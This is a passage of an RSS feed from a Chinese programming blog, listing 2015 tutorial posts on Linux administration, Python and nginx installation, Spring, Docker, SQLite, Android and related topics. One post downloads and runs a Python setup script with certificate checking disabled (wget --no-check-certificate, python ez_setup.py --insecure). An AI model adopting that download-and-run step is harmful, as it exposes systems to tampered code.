这是一个Java项目，打包输出为jar包，这里应该改为： &amp;lt;injar&amp;gt;${project.</description>
    </item>
    <item>
      <title>Linux 命令整理 groupadd useradd 详解</title>
      <link>https://bchobby.github.io/posts/76bb242a7599a66daa3a42d04e41f7ac/</link>
      <pubDate>Thu, 07 May 2015 11:28:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76bb242a7599a66daa3a42d04e41f7ac/</guid>
      <description>1、linux下创建用户组&#xA;groupadd www groupadd 详情&#xA;名称 groupadd - 建 立 新 群 组 语法 groupadd [-g gid [-o]] [-r] [-f] group 描述 groupadd 可 指 定 群 组 名 称 来 建 立 新 的 群 组 帐 号 。需 要 时 可 从 系 统 中 取 得 新 群 组 值 。 groupadd 有 下 列 选 项 可 用 。 -g gid group’s ID 值 。除 非 使 用 -o 参 数 不 然 该 值 必 须 是 唯 一 ， 不 可 相 同 。数 值 不 可 为 负 。预 设 为 最 小 不 得 小 于 500 而 逐 次 增 加 。 0~999 传 统 上是 保 留 给 系统帐号 使 用 。 -r 此 参 数 是 用 来 建 立 系统帐号 。的 UID 会 比 定 义 在 系 统 档 上 /etc/login.</description>
    </item>
    <item>
      <title>关于在树莓派上使用多个串口设备的问题</title>
      <link>https://bchobby.github.io/posts/6f64f1a1b6a06542eb35956df92b4442/</link>
      <pubDate>Tue, 05 May 2015 22:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f64f1a1b6a06542eb35956df92b4442/</guid>
      <description> 最近尝试在树莓派上鼓捣点儿东西玩玩，打算用USB转串口线连几个COM设备到树莓派上试试（树莓派没那么多串口，但有好几个USB口）。但发现不能准确区分哪个设备连在哪个串口上。开始，连上一个串口的热敏打印机，发现使用的端口是ttfUSB0，能通过测试（能通过控制台向打印机发数据）。然后又插接上一个USB转串口线，发现多了一个设备ttfUSB1。问题是，重启后，发现打印机跑到ttfUSB1上去了，空的线占据了ttfUSB0。现在手头没有更多的串口设备，没能做进一步的试验。但是担心如果设备更多的话，那么会不会每次重启后，设备和端口的对应关系都发生变化。如果这样的话，那么就不能通过配置文件事先定义设备和端口之间的对应关系了，那怎么区分不同的设备呢？ 如果每次启动都需要通过某种特殊的方式侦测下不同的设备连接在哪个口上，岂不是很麻烦啊。 </description>
    </item>
    <item>
      <title>Linux 下安装easy_install 安装pip  安装django</title>
      <link>https://bchobby.github.io/posts/04cf063472dc362426b4ab428c796eb2/</link>
      <pubDate>Tue, 05 May 2015 14:10:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04cf063472dc362426b4ab428c796eb2/</guid>
      <description>Centos6.5 下在线安装easy_install&#xA;wget --no-check-certificate https://bootstrap.pypa.io/ez_setup.py python ez_setup.py --insecure 执行过程如下：&#xA;[root@localhost data]# wget --no-check-certificate https://bootstrap.pypa.io/ez_setup.py --2014-12-27 11:33:41-- https://bootstrap.pypa.io/ez_setup.py Resolving bootstrap.pypa.io... 103.245.222.175 Connecting to bootstrap.pypa.io|103.245.222.175|:443... connected. WARNING: cannot verify bootstrap.pypa.io’s certificate, issued by “/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert SHA2 High Assurance Server CA”: Issued certificate not yet valid. HTTP request sent, awaiting response... 200 OK Length: 11432 (11K) [text/x-python] Saving to: “ez_setup.py” 100%[====================================================================================================&amp;gt;] 11,432 --.-K/s in 0s 2014-12-27 11:33:41 (510 MB/s) - “ez_setup.py” saved [11432/11432] [root@localhost data]# python ez_setup.</description>
    </item>
    <item>
      <title>Linux 下安装 nginx 并且平滑升级nginx</title>
      <link>https://bchobby.github.io/posts/2ea45bcf9959ab659a6967da19d8ee10/</link>
      <pubDate>Tue, 05 May 2015 11:31:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ea45bcf9959ab659a6967da19d8ee10/</guid>
      <description>Centos6.5 自动安装选择最快的源 [root@localhost ~]# yum install yum-fastestmirror这里 我已经安装过，运行结果如下 Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: ftp.riken.jp * epel: mirrors.zju.edu.cn * extras: ftp.riken.jp * updates: ftp.riken.jp Setting up Install Process Package yum-plugin-fastestmirror-1.1.30-30.el6.noarch already installed and latest version 安装nginx&#xA;yum install nginx [root@localhost ~]# yum install nginx Loaded plugins: fastestmirror, refresh-packagekit, security Loading mirror speeds from cached hostfile * base: ftp.riken.jp * epel: mirrors.opencas.cn * extras: ftp.</description>
    </item>
    <item>
      <title>汉诺塔递归算法理解及实现</title>
      <link>https://bchobby.github.io/posts/fb7f0598617e5d59776aefcf4b732acd/</link>
      <pubDate>Fri, 01 May 2015 00:22:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb7f0598617e5d59776aefcf4b732acd/</guid>
      <description>汉诺塔：（Hanoi)是一种玩具，如图： 从左到右 A B C 柱 大盘子在下, 小盘子在上, 借助B柱将所有盘子从A柱移动到C柱, 期间只有一个原则: 大盘子只能在小盘子的下面. 问题理解与描述： 1．问题的理解与描述 问题的形式化表示为： 输入：圆盘数n，3根细杆—— 源杆A、过渡杆B和目标杆C。 输出：圆盘从源杆移动到目标杆过程的最少步骤序列。 2.算法的伪代码：&#xA;HANOI(n, A, B, C) 1 if n=1 2 then print A,&#34;&#34;, C 3 return 4 HANOI(n-1,A, C, B) 5 print A,&#34;&#34;, C 6 HANOI(n-1,B, A, C) 3.算法的运行时间： 对于盘数n，HANOI过程的运行时间 4 算法理解： 理解一：（参考：http://blog.csdn.net/yafei450225664/article/details/8647908）&#xA;案例 1 - 假设只有一个盘子的时候, 盘子数量 N=1 只有一个步骤 将第1个盘子从A移动到C, 为了对比方便我这样来描述这个步骤： 步骤 盘子编号 从柱子移动 移动到柱子 1 1 A C 案例 2 - 如果有两个盘子, 盘子数量 N = 2 步骤 盘子编号 从柱子移动 移动到柱子 1 1 A B 2 2 A C 3 1 B C 案例 3 - 如果有三个盘子, 盘子数量 N = 3 步骤 盘子编号 从柱子移动 移动到柱子 1 1　A C 2 2　A　B 3 1 C B 4 3 A C 5 1 B A 6 2 B C 7 1 A C 如何找出盘子移动的规律 ？ 我们要做的最重要的一件事情就是永远要把最底下的一个盘子从 A 移动到 C 看看上面从1个盘子的移动到3个盘子的移动, 在移动记录中,当盘子的编号和盘子数量相同的时候他们的步骤都是从A移动到C (看加粗的部分),其它的步骤对等.</description>
    </item>
    <item>
      <title>springMVC学习(什么是IOC)</title>
      <link>https://bchobby.github.io/posts/d3ea6079313e2550a27842c4e4952033/</link>
      <pubDate>Tue, 28 Apr 2015 20:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3ea6079313e2550a27842c4e4952033/</guid>
      <description>接下来这段时间，我将会写一个关于springMVC的博客专栏，首先看看百度百科上是怎么定义springMVC的。&#xA;Spring是一个开源框架，Spring是于2003 年兴起的一个轻量级的Java 开发框架，由Rod Johnson 在其著作Expert One-On-One J2EE Development and Design中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复杂性而创建的。框架的主要优势之一就是其分层架构，分层架构允许使用者选择使用哪一个组件，同时为 J2EE 应用程序开发提供集成的框架。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而，Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言，任何Java应用都可以从Spring中受益。Spring的核心是控制反转（IoC）和面向切面（AOP）。简单来说，Spring是一个分层的JavaSE/EEfull-stack(一站式) 轻量级开源框架。&#xA;先来看看spring官方为我们提供的一张图片：&#xA;是不是看的云里雾里的，什么是IOC,什么又是AOP还有什么又是springMVC，接下来的这个系列的博客，我将会带大家逐步学习spring。我们首先来学习spring 的ioc模块吧。&#xA;ioc又名控制反转，说白了就是把对象的创建，销毁以及初始化等一系列操作交给spring容器来处理，由spring来控制对象的声明周期。举个栗子：我们现在写了很多java类，然后书写一个spring的配置文件，将这些类交给spring容器来处理，此时这些对象的初始化以及销毁就会由spring来管理，如果我们需要使用对象的话，只需要遵守spring中的规范来书写代码，就可以得到指定的对象，对于应该遵守什么样的规范，这个以后我们在详细来探讨。这也就是我们ioc(控制反转的来历)。即将对象交给spring来控制管理。那么ioc带给我们的优势又有那些呢？？大家仔细想想，到现在我们如果需要用到某一个类对象，只能通过手动new出来，那有人可能会说了，我不是可以使用工厂模式吗？注意：工厂模式只是提供给我们创建对象的一个简单调用，其内部同样是new一个我们需要的对象，但是如果使用spring以后，我们只需要在spring的配置文件里边配置好需要有spring来管理的类，具体的该对象的创建管理等都是由spring来做的。废话不多说，我们先来看一个例子：&#xA;我们新建一个java工程，将spring需要的核心jar包拷贝进去。&#xA;1.dist/spring.jar&#xA;2.lib/jakarta-commons/commons-logging.jar&#xA;这两个就是spring需要的核心jar文件，接下来我们新建一个类HelloIoc.java&#xA;package com.test.ioc; public class HelloIoc { public void helloIoc() { System.out.println(&#34;hello ioc first&#34;); } } 接下来，给大家演示用spring来管理HelloIoc这个类。首先，我新建一个applicationContext.xml文件：内容如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd&#34;&amp;gt; &amp;lt;/beans&amp;gt; 那么，有人可能会问，这么多的东西我怎么记得住呢，不用急，我也是在官方文档中找到的。可以看到，这里的根节点的名称叫做beans，即包含了很多其他的bean，在这里一个bean就是一个具体的类。 说明一下：这里bean中的id就是唯一标识一个bean的，一般是类名称的第一个字母小写。class顾名思义就是这个类的全类名，大家写的时候，可以按住ctrl键然后点击，如果可以进入，说明class的值是正确的。&#xA;spring容器到现在已经创建好了，现在我们写一个测试类，加载spring容器，将HelloIoc从容器中拿出来。&#xA;package com.test.ioc; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; public class HelloIocTest { public static void main(String[] args) { ApplicationContext applicationContext = new ClassPathXmlApplicationContext(&#34;</description>
    </item>
    <item>
      <title>Matlab配置工具(Deployment Tool)工具的使用</title>
      <link>https://bchobby.github.io/posts/d565062fade238e0355571300ed264e0/</link>
      <pubDate>Tue, 28 Apr 2015 18:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d565062fade238e0355571300ed264e0/</guid>
      <description>通常编写的matlab程序只能在装有matlab的机器上执行，但是没有安装&#xA;matlab的怎么办呢？这个可以使用matlab的自带工具-Deploy Tool。 Matlab的Deploy Tools 可以方便的将matlab工程编译成所支持的类型，例如一般的Windows应用程序， Matlab for .NET/COM ,Matlab for Java,Matlab for Excel 等。 其原理就是先使用MCC 编译器根据你的m文件生成相应的c/C++语言文件以及数据文件， 然后在调用C/C++编译器编译成可执行文件或者控件库 在Matlab 2010b 中Deploy Tool其实是一个MCC的前端界面（用 MCC的命令行参数一样可以完成编译工作） 下面是用Deploy Tool来编matlab工程。 首先创建prj工程，从菜单中定位到“New”-&amp;gt;“Deployment Project” 然后会提示选择类型: 然后在add-mainfile中添加m文件 选择自己的M文件 接着你就可以编译了 不过想要你的程序在没有安装Matlab的机器上运行，还有一点要注意，就是Matlab编译出来的程序需要用到Matlab的一些包括但不限于数学、图形等动态链接库，这些是你的程序必要的运行时环境，你可以拷贝 （MatlabDIR）\ toolbox\toolbox\compiler\deploy\win32\MCRRegCOMComponent.exe 到目标机器安装，然后就有了运行时环境，当然使用 Deployment Tool工具可以设置自动打包这个运行时，具体在设置页勾选“Include MATLAB Comptent Runtime(MCR)”并且包含你需要用到的资源文件，图片，html等等。 然后就可以打包发布程序了。</description>
    </item>
    <item>
      <title>CentOS 7打开NTF文件</title>
      <link>https://bchobby.github.io/posts/da7345a561390ddf5c5d43c568313fe5/</link>
      <pubDate>Mon, 20 Apr 2015 14:19:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da7345a561390ddf5c5d43c568313fe5/</guid>
      <description>在新安装的Linux系统，将不会支持NTF文件的直接打开，一种方式是我们去下载官网下载NTFS-3G的源码，编译并安装后可以，但是现在Linux提供了两个安装包ntfs-3g-devel.x86_64 ntfs-3g.x86_64 , 1、首先我们打开终端Terminal 2、确保你配置好了yum仓库 3、yum install ntfs-3g-devel.x86_64 ntfs-3g.x86_64 -y 4、这样你就可以直接打开ntf文件了 ———————————————————————————————— 为什么不直接使用NTFS-3G源码呢？ 1、使用NTFS-3G，你需要去英文官网去看文档并下载编译 （https://tuxera.com/opensource/ntfs-3g_ntfsprogs-2015.3.14.tgz） 2、每次打开文件的时候还需要你自己敲击命令去挂载文件。</description>
    </item>
    <item>
      <title>Docker Daemon启动</title>
      <link>https://bchobby.github.io/posts/752fa25f3058eaa7eed1ba7c9614ea18/</link>
      <pubDate>Tue, 14 Apr 2015 21:30:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/752fa25f3058eaa7eed1ba7c9614ea18/</guid>
      <description>Docker Daemon启动&#xA;Docker Daemon 是Docker架构中运行在后台的守护进程，可分为Docker Server、Engine和Job三部分。&#xA;Docker Daemon 是通过Docker Server模块接受Docker Client的请求，并在Engine中处理请求，然后根据请求类型，创建出指定的Job并运行，运行过程的几种可能：向Docker Registry获取镜像，通过graphdriver执行容器镜像的本地化操作，通过networkdriver执行容器网络环境的配置，通过execdriver执行容器内部运行的执行工作等。&#xA;Docker Daemon架构示意图：&#xA;Docker Daemon启动流程图&#xA;通过流程图可以看出，有关DockerDaemon的所有工作都在mainDaemon()方法中实现。&#xA;mainDaemon()方法:&#xA;功能：1)创建Docker运行环境；2)服务于Docker Client，接受并处理请求。&#xA;细节：&#xA;1) daemon的配置初始化；(在init()函数中实现，即mainDaemon()运行前就执行)&#xA;var ( daemonCfg = &amp;amp;daemon.Config{} ) funcinit() { daemonCfg.InstallFlags() } 首先，声明一个为daemon包中Config类型的变量，名为daemonCfg。而Config对象，定义了Docker Daemon所需的配置信息。在Docker Daemon在启动时，daemonCfg变量被传递至Docker Daemon并被使用。&#xA;Config对象的定义如下：&#xA;typeConfig struct { Pidfile string //Docker Daemon所属进程的PID文件 Root string //Docker运行时所使用的root路径 AutoRestart bool //已被启用，转而支持docker run时的重启 Dns []string //Docker使用的DNS Server地址 DnsSearch []string //Docker使用的指定的DNS查找域名 Mirrors []string //指定的优先Docker Registry镜像 EnableIptables bool //启用Docker的iptables功能 EnableIpForward bool //启用net.ipv4.ip_forward功能 EnableIpMasq bool //启用IP伪装技术 DefaultIp net.</description>
    </item>
    <item>
      <title>09-SQLite之join</title>
      <link>https://bchobby.github.io/posts/c55e75cd653d83200201bb9951ce122c/</link>
      <pubDate>Tue, 14 Apr 2015 20:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c55e75cd653d83200201bb9951ce122c/</guid>
      <description> 一、join概述 用于根据两个或多个表中的列之间的关系，从这些表中查询数据 现在有两张表persons和student 例子1：从上面两张表中获取name、addr、class(这是最普通的方式) 二、join（inner join内连接）:如果表中有至少一个匹配，则返回行（结合原表分析） 语法：select persons.name, persons.addr, student.class from persons inner join student on persons.id = student.id; 三、left join (左连接) 概述：从左表 (persons) 那里返回所有的行，即使在右表 (student) 中没有匹配的行 语法：select persons.name, persons.addr, student.class from persons left join student on persons.id = student.id; 四、right join(右连接) 概述：即使左表中没有匹配，也从右表返回所有的行&#xA;五、full join(全连接) 概述：只要其中一个表中存在匹配，就返回行 六、注意：right join和full join在linux下sqlite3不支持 </description>
    </item>
    <item>
      <title>C#将Unicode编码转换为汉字字符串</title>
      <link>https://bchobby.github.io/posts/1e91f7379510d5765748f37745550bf0/</link>
      <pubDate>Thu, 09 Apr 2015 21:36:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e91f7379510d5765748f37745550bf0/</guid>
      <description>C# 将js中的UNICODE转换为字符串,网上找的都不行,遇到有数字的转不出来,稍稍改了点,OK了 /// /// 将Unicode编码转换为汉字字符串 /// /// Unicode编码字符串 /// 汉字字符串 public static string ToGB2312(string str) { MatchCollection mc = Regex.Matches(str, &#34;([\\w]+)|(\\\\u([\\w]{4}))&#34;); if (mc != null &amp;amp;&amp;amp; mc.Count &amp;gt; 0) { StringBuilder sb = new StringBuilder(); foreach (Match m2 in mc) { string v = m2.Value; if (v.StartsWith(&#34;\\&#34;)) { string word = v.Substring(2); byte[] codes = new byte[2]; int code = Convert.ToInt32(word.Substring(0, 2), 16); int code2 = Convert.ToInt32(word.Substring(2), 16); codes[0] = (byte)code2; codes[1] = (byte)code; sb.</description>
    </item>
    <item>
      <title>linux 系统审计audit详解</title>
      <link>https://bchobby.github.io/posts/594e4dbb071a5364d6ff74ab5108c8c6/</link>
      <pubDate>Thu, 09 Apr 2015 09:29:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/594e4dbb071a5364d6ff74ab5108c8c6/</guid>
      <description>2.6 Linux内核有用日志记录事件的能力，比如记录系统调用和文件访问。然后，管理员可以评审这些日志，确定可能存在的安全裂口，比如失败的登录尝试，或者 用户对系统文件不成功的访问。这种功能称为Linux审计系统，在Red Hat Enterprise Linux 5中已经可用。　要使用Linux Auditing System，可采用下面的步骤：　(1) 配置审计守护进程。　(2) 添加审计规则和观察器来收集所需的数据。　(3) 启动守护进程，它启用了内核中的Linux Auditing System并开始进行日志记录。　(4) 通过生成审计报表和搜索日志来周期性地分析数据。　本章将详细讨论各个部分。25.1 配置审计守护进程　Red Hat Enterprise Linux 5内核中的Linux Auditing System默认是关闭的。当启动审计守护进程时，启用这个内核特性。要在启动时不通过守护进程auditd来启用Linux Auditing System，只需用audit= 1参数来引导。如果这个参数设置为1，而且auditd没有运行，则审计日志会被写到/var/log/messages中。　要使用auditd和实用程序来生成日志文件报表，必须安装audit RPM程序包。如果没有安装，则参见第3章“操作系统更新”了解关于程序包安装的指令。　用了auditd，管理员就可以定制产生的审计日志。下面只是一部分可用的自定义配置：● 设置审计消息的专用日志文件● 确定是否循环使用日志文件● 如果日志文件的启动用掉了太多磁盘空间则发出警告● 配置审计规则记录更详细的信息● 激活文件和目录观察器　这些设置值及更多设置值位于/etc/audit/auditd.conf文件中，它包含修改审计守护进程的行为的选项。每个选项均应在独立的一行上，后面跟着等于号(=)和这个选项的值。程序清单25-1显示了默认配置文件。　程序清单25-1 默认审计守护进程参数 # # This file controls the configuration of the audit daemon # log_file = /var/log/audit/audit.log log_format = RAW priority_boost = 3 flush = INCREMENTAL freq = 20 num_logs = 4 dispatcher = /sbin/audispd disp_qos = lossy max_log_file = 5 max_log_file_action = ROTATE space_left = 75 space_left_action = SYSLOG action_mail_acct = root admin_space_left = 50 admin_space_left_action = SUSPEND disk_full_action = SUSPEND disk_error_action = SUSPEND　可以配置下面这些选项(参见程序清单25-1了解默认值)： log_file审计日志文件的完整路径。如果您配置守护进程向除默认/var/log/audit/外的目录中写日志文件时，一定要修改它上面的文件权限，使得只有根用户有读、写和执行权限。所有其他用户都不能访问这个目录或这个目录中的日志文件。 log_format写日志时要使用的格式。当设置为RAW时，数据会以从内核中检索到的格式写到日志文件中。当设置为NOLOG时，数据不会写到日志文件中，但是如果用dispatcher选项指定了一个，则数据仍然会发送到审计事件调度程序中。 priority_boost　审计应采用多少优先级推进守护进程。必须是非负数。0表示没有变化。 flush多长时间向日志文件中写一次数据。值可以是NONE、INCREMENTAL、DATA和SYNC之一。如果设置为NONE，则不需要做特殊努力来将数据 刷新到日志文件中。如果设置为INCREMENTAL，则用freq选项的值确定多长时间发生一次向磁盘的刷新。如果设置为DATA，则审计数据和日志文 件一直是同步的。如果设置为SYNC，则每次写到日志文件时，数据和元数据是同步的。 freq如果flush设置为INCREMETNAL，审计守护进程在写到日志文件中前从内核中接收的记录数。 num_logsmax_log_file_action设置为ROTATE时要保存的日志文件数目。必须是0~99之间的数。如果设置为小于2，则不会循环日志。如果递 增了日志文件的数目，就可能有必要递增/etc/audit/audit.</description>
    </item>
    <item>
      <title>Apache James 实战之“安装配置”james-3.x</title>
      <link>https://bchobby.github.io/posts/0751bc168290705e40d69ddb9e34b858/</link>
      <pubDate>Sat, 04 Apr 2015 20:12:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0751bc168290705e40d69ddb9e34b858/</guid>
      <description>Apache James 实战之“安装配置” james-3.x&#xA;http://wenku.baidu.com/link?url=OCy8zoSMa81eSaF8SbFO2RUog1ygL8UzHYLRUjnwwjwiISt-l859WVoaTgGE7zXsxTrJnnd6G3Vl3OfhfjGIbfpsa3Xg7xSStTwRZYuDnYm</description>
    </item>
    <item>
      <title>documents或favorites不是一个有效的短文件名 解决方法</title>
      <link>https://bchobby.github.io/posts/34ec0a2365245529a4751f6db7b17e0d/</link>
      <pubDate>Sat, 04 Apr 2015 13:01:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34ec0a2365245529a4751f6db7b17e0d/</guid>
      <description>笔记本重装了win7系统，安装acrobat时，总是报“documents 不是一个有效的短文件名”，在百度上搜索n久之后也没有有效的直接的解决办法，但是参考了下面的解决办法，修改注册表后，成功安装。下面分别介绍一下网上方法，和我的实际应用方法。&#xA;网上方法：&#xA;无论装任何软件, 当安装程序刚开始时，安装程序信息会出现提示：favorites不是一个有效的短文件名。短文件名是dos的 8.3规则也就是说 文件名最长8个字符扩展名最长3个字符favorites是9个字符所以说不是有效的短文件名. 要解决这个问题,只要把favorites的路径指定到一定正确的位置.&#xA;1.开始--运行--输入regedit并点击确定，打开注册表编辑器。 2.展开HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&#xA;3.右侧的面板中找到并双击Favorites，然后把地址设置为一个有效的地址.比如说”C:\ Favorites” 就可以了.&#xA;总结: 出现此问题可能原因:&#xA;1.你的硬盘就分一个逻辑分区.用的是Ghost安装盘来安装系统,这样,系统装完后,会把一些文件的路径指定到D盘,今后安装其他软件的时候就会出现提示说” favorites不是一个有效的短文件名”&#xA;2.D的盘符并不是逻辑分区,而是光驱的盘符.&#xA;具体应用：&#xA;原来注册表中的personal、music、videos等的数据值都是D:\Documents，但是我的系统就一个分区-c盘，所以把上述的D:\Documents更改为“%USERPROFILE%\My Documents\”即可，如原来的favorites是“D:\Documents\Favorites”，更改后为“%USERPROFILE%\My Documents\Favorites”，将所有的“D:\Documents”都进行更改之后，就可以正常解决这个短文件名问题了。</description>
    </item>
    <item>
      <title>android通过蓝牙实现两台手机传输数据</title>
      <link>https://bchobby.github.io/posts/992704c83870a4328719291c6f0e2e3c/</link>
      <pubDate>Thu, 02 Apr 2015 23:29:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/992704c83870a4328719291c6f0e2e3c/</guid>
      <description>今天学习了android蓝牙方面的基础知识，包含了打开和关闭蓝牙的操作，以及两部手机之间通过蓝牙实现的数据传输。下面看代码：&#xA;首先，需要在清单文件里添加蓝牙操作的权限：&#xA;&amp;lt;uses-permission android:name=&#34;android.permission.BLUETOOTH&#34;/&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.BLUETOOTH_ADMIN&#34;/&amp;gt; 打开蓝牙的两种方式：&#xA;第一种：Intent intent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE);&#xA;startActivityForResult(intent,1);&#xA;这种方式会提示用户是否打开蓝牙&#xA;第二种：bluetoothAdapter.enable();&#xA;这种方式系统直接打开蓝牙&#xA;关闭蓝牙的操作：bluetoothAdapter.disable();&#xA;搜索附近蓝牙的基本操作：&#xA;1.BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();//得到默认的蓝牙适配器&#xA;2.if (bluetoothAdapter.isDiscovering()) {//如果正好在搜索，则先取消搜索&#xA;bluetoothAdapter.cancelDiscovery();&#xA;}&#xA;bluetoothAdapter.startDiscovery();&#xA;第二部在搜索的时候，会发出一个广播BluetoothDevice.ACTION_FOUND&#xA;3.创建并注册BroadcastReceiver并在onReceive方法中进行操作，关键代码如下：&#xA;@Override public void onReceive(Context arg0, Intent arg1) { // TODO Auto-generated method stub String action = arg1.getAction(); //获得已经搜索到的蓝牙设备 if (BluetoothDevice.ACTION_FOUND.equals(action)) { BluetoothDevice device = arg1.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); //搜索到的设备不是已经绑定的设备 if (device.getBondState() != BluetoothDevice.BOND_BONDED) { //将搜索到的新蓝牙设备和名称显示到textview中 show.append(device.getName()+&#34;:&#34;+device.getAddress()+&#34;\n&#34;); } }else if (bluetoothAdapter.ACTION_DISCOVERY_FINISHED.equals(action)) {//说明搜索已经完成 setProgressBarIndeterminateVisibility(false); setTitle(&#34;</description>
    </item>
    <item>
      <title>SD模块-销售收入科目的配置</title>
      <link>https://bchobby.github.io/posts/07bb2feeb2ea01e7b2dfbcda211f6352/</link>
      <pubDate>Fri, 27 Mar 2015 15:35:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07bb2feeb2ea01e7b2dfbcda211f6352/</guid>
      <description>前言部分 大家可以关注我的公众号，公众号里的排版更好，阅读更舒适。&#xA;正文部分 配置路径：&#xA;销售和分销 - 基本功能 - 科目分配/成本 - 收入帐户确定 - 分配总帐科目&#xA;T-CODE：&#xA;VKOA&#xA;半成品的配置半成品科目，原材料配置原材料科目&#xA;主数据科目设置组 不对，那么 MM02去修改&#xA;文章连接：SD模块-销售收入科目的配置</description>
    </item>
    <item>
      <title>Android 之EditText自动弹出/不弹出输入法</title>
      <link>https://bchobby.github.io/posts/6486b5c92a59edd519642cf6d0ede1c0/</link>
      <pubDate>Thu, 26 Mar 2015 18:05:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6486b5c92a59edd519642cf6d0ede1c0/</guid>
      <description>http://yingang-1982.iteye.com/blog/2084750 1.EditText 启动activity的时候弹出软件键盘&#xA;manifest对应的Activity的配置，将EditText设置属性 android:windowSoftInputMode=stateVisible，在进入这个页面的时候，默认弹出输入法。&#xA;&amp;lt;activity android:name=&#34;.ui.login&#34;&#xA;android:configChanges=&#34;orientation|keyboardHidden|locale&#34;&#xA;android:screenOrientation=&#34;portrait&#34;&#xA;android:windowSoftInputMode=&#34;stateVisible|adjustPan&#34; &amp;gt;&#xA;&amp;lt;/activity&amp;gt;&#xA;方法一：&#xA;在AndroidMainfest.xml中选择哪个activity，设置windowSoftInputMode属性为adjustUnspecified|stateHidden&#xA;例如：&amp;lt;activity android:name=&#34;.Main&#34;&#xA;android:label=&#34;@string/app_name&#34;&#xA;android:windowSoftInputMode=&#34;adjustUnspecified|stateHidden&#34;&#xA;android:configChanges=&#34;orientation|keyboardHidden&#34;&amp;gt;&#xA;&amp;lt;intent-filter&amp;gt;&#xA;&amp;lt;action android:name=&#34;android.intent.action.MAIN&#34; /&amp;gt;&#xA;&amp;lt;category android:name=&#34;android.intent.category.LAUNCHER&#34; /&amp;gt;&#xA;&amp;lt;/intent-filter&amp;gt;&#xA;&amp;lt;/activity&amp;gt;&#xA;方法二：&#xA;让EditText失去焦点，使用EditText的clearFocus方法&#xA;例如：EditText edit=(EditText)findViewById(R.id.edit);&#xA;edit.clearFocus();&#xA;方法三：&#xA;强制隐藏Android输入法窗口&#xA;例如：EditText edit=(EditText)findViewById(R.id.edit);&#xA;InputMethodManager imm = (InputMethodManager)getSystemService(Context.INPUT_METHOD_SERVICE);&#xA;imm.hideSoftInputFromWindow(edit.getWindowToken(),0);&#xA;2.EditText始终不弹出软件键盘&#xA;例：EditText edit=(EditText)findViewById(R.id.edit);&#xA;edit.setInputType(InputType.TYPE_NULL);</description>
    </item>
    <item>
      <title>使用二进制权限控制</title>
      <link>https://bchobby.github.io/posts/c1d84e279a24590113de3e9fb940d5b2/</link>
      <pubDate>Wed, 25 Mar 2015 16:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1d84e279a24590113de3e9fb940d5b2/</guid>
      <description>/* 引言： 使用二进制权限控制，可以减少程序的逻辑判断，如有50 种权限需要验证， 一般会写 if...else if...else if 或 if(n==1 || n==2 || ... n=50 ) 这种写法。 如果使用二进制权限控制，则可使用一个if即可验证 if((权限码|n)==n), 注意 n 必须为 2的幂级。 c#中标记[System.Flags]特性的枚举，实质上是就是这种鉴权方式。 [System.Flags] public enum Role { read = 1, //001 write = 2, //010 delete= 4, //100 } 使用建议：权限被频繁验证，权限值多于32个 定义： 授权码：权限值的集合表示 授权值：单个权限值，该值必须为2的幂级数，取值范围 2^0 到 2^62 授权：“权限码”=“权限”组每项进行“或”操作） 回收：待收回的“权限”取反后，和“授权码”进行“与”操作 鉴权：有两个公式：“权限”=“授权码”&amp;amp;“权限”；“授权码”=“授权码”|“权限”； 1.权限值 long类型可表示的2的最大幂级数为：4611686018427387904 转为二进制数表示为：10000000...000（共63位；一个1，六十二个0；表示为2^62） 加上2^0=1 ，所以1个long最多可以表示 63 个状态，2^0 到 2^62 次方； 实例： bin name 授权码 0001 添加 （1） 0010 修改 （2） 0100 删除 （4） 1000 查看 （8） 0011 表示：添加 + 修改 权限 1011 表示：查看 + 修改 + 添加 权限 2.</description>
    </item>
    <item>
      <title>OGRE与Qt的结合（一）----使用OGRE渲染QWidget</title>
      <link>https://bchobby.github.io/posts/f5d5ef7497e9d051c43f360d07a86ad0/</link>
      <pubDate>Mon, 23 Mar 2015 20:58:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5d5ef7497e9d051c43f360d07a86ad0/</guid>
